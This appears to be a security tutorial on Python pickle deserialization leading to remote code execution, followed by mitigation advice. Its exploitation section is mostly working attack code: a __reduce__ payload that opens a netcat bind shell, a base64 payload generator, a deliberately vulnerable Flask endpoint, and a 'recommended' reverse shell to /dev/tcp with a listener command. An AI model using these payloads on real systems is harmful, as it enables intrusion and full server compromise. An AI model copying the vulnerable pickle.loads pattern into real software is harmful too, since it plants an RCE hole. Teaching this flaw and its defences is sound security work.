Pickle Code Execution (Python Deserialization RCE)

Python's pickle module is a powerful object serialization tool used to convert Python objects into a byte stream for storage or transmission. However, it is inherently insecure when used with untrusted data. If an application deserializes user-controlled input using pickle, an attacker can craft a malicious payload that executes arbitrary code upon deserialization - leading to Remote Code Execution (RCE).

How Pickle Serialization Works

Serialization allows applications to save complex Python objects (like class instances) into a storable format. When needed, the object is reconstructed via deserialization.

Example:

import pickle

data = {'name': 'Alice', 'age': 30}
serialized = pickle.dumps(data)  # Convert to bytes
restored = pickle.loads(serialized)  # Reconstruct object

The danger arises when pickle.loads() is called on user-supplied data. Unlike safer serialization formats (e.g., JSON), pickle can reconstruct any Python object - including those that execute code during initialization.

Exploitation: Crafting a Malicious Payload

The key to exploitation lies in the __reduce__() method. When defined in a class, this method tells pickle how to reconstruct the object. It can return a callable (like a function) and its arguments - which will be executed during deserialization.

Malicious Payload Example:

This script creates a class that, when deserialized, runs a command to start a bind shell on port 1234:

import base64
import os
import pickle

class Blah(object):
    def __reduce__(self):
        return (os.system, ("netcat -c '/bin/bash -i' -l -p 1234",))

# Create instance and serialize
h = Blah()
print(base64.b64encode(pickle.dumps(h, 2)).decode('utf-8'))

This outputs a base64-encoded string representing the malicious pickled object. When the target application runs pickle.loads() on this data, it will execute:

os.system("netcat -c '/bin/bash -i' -l -p 1234")

Resulting in a shell accessible on port 1234.

Testing the Payload

To verify the payload works, save the exploit code to generate_pickle.py and run it:

python3 generate_pickle.py

Output:

Y29zCnN5c3RlbQpwMAooUyduZXRjYXQgLWMgJy9iaW4vYmFzaCAtaScgLWwgLXAgMTIzNCcKcDEKdHAyClJwMwp...

Decode and Inspect (Optional):

echo 'Y29zCnN5c3RlbQpwMAooUyduZXRjYXQgLWMgJy9iaW4vYmFzaCAtaScgLWwgLXAgMTIzNCcKcDEKdHAyClJwMwp...' | base64 -d

This shows the raw pickle bytecode (do not run this on production systems).

Exploiting a Vulnerable Application

Suppose a web app uses code like this:

# vulnerable_app.py
import pickle
from flask import Flask, request

app = Flask(__name__)

@app.route('/load')
def load_data():
    data = request.args.get('data')
    if data:
        pickle.loads(base64.b64decode(data))
    return "Loaded"

An attacker can send the generated payload:

http://vulnerable/load?data=Y29zCnN5c3RlbQpwMAooUyduZXRjYXQgLWMgJy9iaW4vYmFzaCAtaScgLWwgLXAgMTIzNCcKcDEKdHAyClJwMwp...

This triggers the bind shell without needing authentication.

Reverse Shell Variant (Recommended)

A bind shell may be blocked by firewalls. Use a reverse shell instead:

class ReverseShell(object):
    def __reduce__(self):
        return (os.system, ("bash -i >& /dev/tcp/192.168.159.1/443 0>&1",))

Replace the IP address with your listener, then start a netcat listener:

nc -l -p 443 -v

Impact

Successful exploitation leads to:

  • Full remote code execution on the server.
  • Access to application data, credentials, and configuration files.
  • Potential privilege escalation and lateral movement.
  • Persistence via backdoors or scheduled tasks.

Since pickle is often used in task queues (e.g., Celery), cache systems (Redis), or session storage, this vulnerability can have far-reaching consequences.

Mitigation and Best Practices

Never use pickle on untrusted input.

Secure Alternatives:

  • JSON: Safe for primitive data types.
  • YAML (with caution): Use safe_load() only.
  • MessagePack: Faster and safer than pickle.

Additional Protections:

  • Run Python applications with minimal privileges.
  • Avoid storing session data with pickle; use signed cookies or database-backed sessions.
  • Monitor logs for suspicious payloads containing cos\nsystem (common in pickle exploits).
  • Use application firewalls (WAF) to detect and block serialized object attacks.

Published on Aug 21, 2025